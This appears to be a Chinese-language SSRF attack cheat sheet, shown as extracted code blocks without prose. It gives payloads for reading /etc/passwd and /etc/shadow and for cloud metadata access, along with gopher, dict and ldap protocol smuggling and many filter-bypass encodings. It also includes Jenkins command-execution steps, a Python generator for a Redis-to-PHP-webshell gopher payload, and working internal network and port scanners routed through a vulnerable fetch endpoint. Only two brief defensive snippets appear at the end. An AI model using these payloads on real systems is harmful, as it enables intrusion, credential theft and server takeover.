1
http://vulnerable-app.com/fetch?url=http://internal-admin.local/users

1
http://vulnerable-app.com/fetch?url=file:///etc/passwd

1
http://vulnerable-app.com/fetch?url=http://attacker-controlled.com/malicious-script

1
http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/

1
http://vulnerable-app.com/preview?url=http://internal-service/config
2

3
// 返回内部服务的配置内容

1
http://vulnerable-app.com/check?url=http://internal-service/admin
2

3
// 仅返回"URL已检查"，不显示具体内容

1
http://vulnerable-app.com/status?url=http://internal-service/api
2

3
// 返回"状态码: 200"，但不显示响应内容

1
for port in range(1, 10000):
2
    url = f"http://vulnerable-app.com/fetch?url=http://internal-server:{port}"
3
    # 通过响应判断端口是否开放

1
http://vulnerable-app.com/fetch?url=http://internal-admin:8080/dashboard

1
http://vulnerable-app.com/fetch?url=file:///etc/shadow

1
# 目标服务器可以访问internal-api，而攻击者IP被禁止
2
http://vulnerable-app.com/fetch?url=http://internal-api/restricted-data

1
1. 利用SSRF访问内部Jenkins服务
2

3
2. 利用Jenkins执行命令获取服务器控制权
4

5
3. 横向移动至其他内部系统

1
# SSRF + XXE组合攻击
2
http://vulnerable-app.com/fetch?url=http://attacker.com/xxe-payload.xml

1
# 使服务器不断请求大文件，耗尽带宽和内存
2
http://vulnerable-app.com/fetch?url=http://large-file-server.com/10gb-file

1
http://target.com/fetch?url=http://internal-service/admin
2
https://target.com/fetch?url=https://internal-service/config

1
# 设置一个重定向到内部服务的外部服务
2
http://target.com/fetch?url=http://attacker.com/redirect
3
# attacker.com返回302重定向到http://internal-service/

1
- 短地址跳转绕过  [https://clck.ru/](https://clck.ru/) 这个网站生成的最快且免费，是俄语需要开翻译看
2

3
- xip.io - 浏览器请求
4
    `http://127.0.0.1.xip.io/flag.php`
5

6
- DNS 查询
7
    `127.0.0.1.xip.io → 127.0.0.1`
8

9
- TCP 连接
10
    `connect(127.0.0.1:80)`
11

12
- HTTP 请求（非常关键）：
13
    `GET /flag.php HTTP/1.1 Host: 127.0.0.1.xip.io`

1
http://target.com/fetch?url=http://user:password@internal-service/

1
http://target.com/fetch?url=http://external-service/
2
X-Forwarded-For: internal-service

1
# 用于访问服务器本地文件系统
2
http://target.com/fetch?url=file:///etc/passwd
3
http://target.com/fetch?url=file://C:/Windows/win.ini

1
# 用于与字典服务器交互，但也可用于与其他基于文本的服务交互
2
http://target.com/fetch?url=dict://internal-service:2628/info

1
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
2
​
3
# 注意不要忘记后面那个下划线"_"，下划线"_"后面才开始接TCP数据流，如果不加这个"_"，那么服务端收到的消息将不是完整的，该字符可随意写。
4
# gopher的默认端口是70
5
# 如果发起POST请求，回车换行需要使用`%0d%0a`来代替`%0a`，如果多个参数，参数之间的&也需要进行URL编码
6

7
# 可发送任意TCP数据
8
http://target.com/fetch?url=gopher://internal-service:25/xHELO%20localhost

1
GET /echo.php?whoami=Bunny HTTP/1.1
2
Host: 47.xxx.xxx.72

1
# GET脚本
2
mport urllib.parse
3
payload =\
4
"""GET /echo.php?whoami=Bunny HTTP/1.1
5
Host: 47.xxx.xxx.72
6
"""
7
# 注意后面一定要有回车，回车结尾表示http请求结束
8
tmp = urllib.parse.quote(payload)
9
new = tmp.replace('%0A','%0D%0A')
10
result = 'gopher://47.xxx.xxx.72:80/'+'_'+new
11
print(result)

1
1. 问号（?）需要转码为URL编码，也就是%3f
2
2. 回车换行要变为%0d%0a,但如果直接用工具转，可能只会有%0a
3
3. 在HTTP包的最后要加%0d%0a，代表消息结束（具体可研究HTTP包结束）
4
`gopher://47.xxx.xxx.72:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.72%0D%0A`生成之后

1
POST /echo.php HTTP/1.1
2
Host: 47.xxx.xxx.72
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 12
5
whoami=Bunny

1
# POST脚本
2
mport urllib.parse
3
payload =\
4
"""POST /echo.php HTTP/1.1
5
Host: 47.xxx.xxx.72
6
Content-Type: application/x-www-form-urlencoded
7
Content-Length: 12
8

9
whoami=Bunny
10
"""
11
# 注意后面一定要有回车，回车结尾表示http请求结束
12
tmp = urllib.parse.quote(payload)
13
new = tmp.replace('%0A','%0D%0A')
14
result = 'gopher://47.xxx.xxx.72:80/'+'_'+new
15
print(result)

1
http://target.com/fetch?url=ldap://192.168.1.10:389/dc=example,dc=com

1
http://target.com/fetch?url=ldap://192.168.1.10:389/dc=example,dc=com??sub?(uid=*)

1
http://target.com/fetch?url=ftp://user:pass@192.168.1.10/

1
# 十进制表示
2
http://target.com/fetch?url=http://2130706433/  # 127.0.0.1
3

4
# 八进制表示
5
http://target.com/fetch?url=http://0177.0.0.1/  # 127.0.0.1
6

7
# 十六进制表示
8
http://target.com/fetch?url=http://0x7f.0.0.1/  # 127.0.0.1
9

10
# 混合表示
11
http://target.com/fetch?url=http://0x7f.0.0.0x1/  # 127.0.0.1

1
http://target.com/fetch?url=http://[::1]/  # 127.0.0.1
2
http://target.com/fetch?url=http://[::ffff:127.0.0.1]/  # 127.0.0.1

1
# 使用特殊域名服务
2
http://target.com/fetch?url=http://127.0.0.1.xip.io/
3

4
# 使用自定义DNS记录
5
http://target.com/fetch?url=http://internal.attacker.com/
6
# 其中internal.attacker.com解析为127.0.0.1

1
http://target.com/fetch?url=http://%31%32%37%2E%30%2E%30%2E%31/

1
http://target.com/fetch?url=http://127。0。0。1/

1
# 如果允许访问example.com
2
http://target.com/fetch?url=http://attacker-controlled.example.com/
3

4
# 如果过滤不严格
5
http://target.com/fetch?url=http://example.com.attacker.com/

1
http://target.com/fetch?url=http://allowed-domain.com@evil.com/

1
http://target.com/fetch?url=http://evil.com#@allowed-domain.com/

1
http://target.com/fetch?url=http://еxаmрlе.com/  # 使用西里尔字母

1
http://target.com/fetch?url=http://evil.com/file.php?url=file:///etc/passwd

1
# evil.com设置重定向到file:///etc/passwd
2
http://target.com/fetch?url=http://evil.com/redirect

1
http://target.com/fetch?url=Http://internal/
2
http://target.com/fetch?url=https://internal/

1
http://target.com/fetch?url=//internal/

1
http://target.com/fetch?url=http://%252F%252Finternal/

1
http://target.com/fetch?url=http://allowed-domain.com%00internal/

1
http://target.com/fetch?url=http://internal/./././admin

1
http://target.com/fetch?url=http://allowed.com&url=http://internal/

1
http://target.com/fetch?url=http://allowed.com
2
Host: internal

1
# 1. 发现Jenkins服务
2
http://target.com/fetch?url=http://192.168.1.10:8080/
3

4
# 2. 访问脚本控制台
5
http://target.com/fetch?url=http://192.168.1.10:8080/script
6

7
# 3. 执行命令
8
http://target.com/fetch?url=http://192.168.1.10:8080/script?script=println%20%22whoami%22.execute().text

1
# 1. 列出所有索引
2
http://target.com/fetch?url=http://192.168.1.10:9200/_cat/indices
3

4
# 2. 查询敏感数据
5
http://target.com/fetch?url=http://192.168.1.10:9200/users/_search?q=*

1
# 使用gopher协议构造Redis命令
2
# 1. 设置SSH公钥
3
# 2. 写入定时任务
4
# 3. 写入Webshell

1
http://target.com/fetch?url=dict://192.168.1.10:11211/stats items
2
http://target.com/fetch?url=dict://192.168.1.10:11211/stats cachedump 1 0

1
# 1. 通过SSRF请求恶意XML
2
http://target.com/fetch?url=http://attacker.com/xxe.xml
3

4
# 2. xxe.xml内容
5
<!DOCTYPE foo [
6
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
7
]>
8
<foo>&xxe;</foo>

1
# 利用SSRF访问内部管理接口，绕过同源策略限制
2
http://target.com/fetch?url=http://internal-admin/csrf-protected-action

1
# 访问内部服务的反序列化端点
2
http://target.com/fetch?url=http://internal-service/deserialize?data=...

1
http://target.com/fetch?url=http://internal-service/ping?host=localhost;id

1
def generate_redis_webshell_payload(ip, port, webshell_path):
2
    # 构造Redis命令
3
    redis_commands = [
4
        "flushall",
5
        f"set 1 \"<?php system($_GET['cmd']); ?>\"",
6
        "config set dir /var/www/html/",
7
        "config set dbfilename shell.php",
8
        "save"
9
    ]
10

11
    # 转换为Gopher协议格式
12
    gopher_payload = "gopher://{ip}:{port}/_".format(ip=ip, port=port)
13
    for cmd in redis_commands:
14
        cmd_parts = cmd.split(" ")
15
        redis_proto = "*{}\r\n".format(len(cmd_parts))
16
        for part in cmd_parts:
17
            redis_proto += "${}\r\n{}\r\n".format(len(part), part)
18
        # URL编码
19
        encoded_proto = "".join("%{:02x}".format(ord(c)) for c in redis_proto)
20
        gopher_payload += encoded_proto
21

22
    return gopher_payload

1
def generate_mysql_udf_payload(ip, port, user, password):
2
    # 构造MySQL协议数据包
3
    # 这里需要详细了解MySQL协议格式
4
    # 实际实现较为复杂，需要处理认证和二进制协议
5
    pass

1
import requests
2

3
def scan_internal_network(target_url, subnet):
4
    results = {}
5
    for i in range(1, 255):
6
        ip = f"{subnet}.{i}"
7
        payload = f"http://{ip}/"
8
        url = target_url.replace("FUZZ", payload)
9
        try:
10
            response = requests.get(url, timeout=2)
11
            if response.status_code != 404:  # 假设404表示主机不存在
12
                results[ip] = response.status_code
13
        except:
14
            pass
15
    return results
16

17
# 使用示例
18
results = scan_internal_network("http://target.com/fetch?url=FUZZ", "192.168.1")
19
print(results)

1
def scan_ports(target_url, ip, ports):
2
    results = {}
3
    for port in ports:
4
        payload = f"http://{ip}:{port}/"
5
        url = target_url.replace("FUZZ", payload)
6
        try:
7
            response = requests.get(url, timeout=2)
8
            results[port] = response.status_code
9
        except:
10
            pass
11
    return results
12

13
# 使用示例
14
common_ports = [21, 22, 80, 443, 3306, 6379, 8080, 8443, 9200]
15
results = scan_ports("http://target.com/fetch?url=FUZZ", "192.168.1.10", common_ports)
16
print(results)

1
def identify_service(target_url, ip, port):
2
    service = "unknown"
3
    # 尝试HTTP服务
4
    try:
5
        payload = f"http://{ip}:{port}/"
6
        url = target_url.replace("FUZZ", payload)
7
        response = requests.get(url, timeout=2)
8
        if "Apache" in response.headers.get("Server", ""):
9
            service = "Apache"
10
        elif "nginx" in response.headers.get("Server", ""):
11
            service = "Nginx"
12
        # 更多服务识别逻辑...
13
    except:
14
        pass
15
    return service

1
http://target.com/fetch?url=http://internal-service/settings/webhook?url=http://attacker.com/callback

1
http://target.com/fetch?url=http://internal-jenkins:8080/job/create?...

1
http://target.com/fetch?url=http://internal-service/config?allow_remote=true&remote_addr=attacker.com

1
// PHP示例：验证返回的是图片内容
2
function isImageContent($content) {
3
    $finfo = new finfo(FILEINFO_MIME_TYPE);
4
    $mimeType = $finfo->buffer($content);
5

6
    $allowedMimeTypes = [
7
        'image/jpeg',
8
        'image/png',
9
        'image/gif',
10
        'image/webp'
11
    ];
12

13
    return in_array($mimeType, $allowedMimeTypes);
14
}
15

16
// 使用示例
17
$url = $_GET['image_url'];
18
if (isUrlSafe($url)) {
19
    $content = fetchUrl($url);
20
    if (isImageContent($content)) {
21
        // 处理图片内容
22
    } else {
23
        // 拒绝非图片内容
24
    }
25
} else {
26
    // 拒绝不安全的URL
27
}

1
// JavaScript示例：安全的URL解析
2
function parseUrl(url) {
3
    try {
4
        // 使用URL构造函数进行解析
5
        const parsedUrl = new URL(url);
6

7
        // 规范化主机名（转为小写）
8
        const hostname = parsedUrl.hostname.toLowerCase();
9

10
        // 检查是否包含可疑字符
11
        if (hostname.includes('@') || hostname.includes('\\')) {
12
            return null;
13
        }
14

15
        // 检查IPv6地址格式
16
        if (hostname.startsWith('[') && hostname.includes(']')) {
17
            // 提取IPv6地址
18
            const ipv6 = hostname.substring(1, hostname.indexOf(']'));
19
            // 验证IPv6地址
20
            // ...
21
        }
22

23
        return parsedUrl;
24
    } catch (e) {
25
        return null;
26
    }
27
}